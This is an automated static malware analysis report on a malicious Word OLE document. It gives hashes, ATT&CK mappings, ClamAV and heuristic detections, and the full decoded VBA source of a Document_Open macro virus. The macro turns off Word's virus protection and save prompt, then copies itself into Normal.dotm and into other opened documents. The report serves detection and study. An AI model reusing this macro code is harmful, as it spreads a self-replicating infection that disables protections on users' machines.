Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e4eece6877c927e…

MALICIOUS

Office (OLE)

83.0 KB Created: 2019-05-31 05:47:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: b01dcbc46329c409364a7e7802871fcb SHA-1: 3cda6dab3d4deb3e6fd3c82ea468fcf3e0620b91 SHA-256: 5e4eece6877c927e7f8d5913349a75a5a64ca9fe115612f7288f6a7f619d6062
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to modify the Normal.dotm template by deleting existing code and inserting new code from the current document. This technique is commonly used to establish persistence or to download and execute additional malicious content. The heuristic firings and the presence of a Document_Open macro strongly suggest this malicious behavior.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub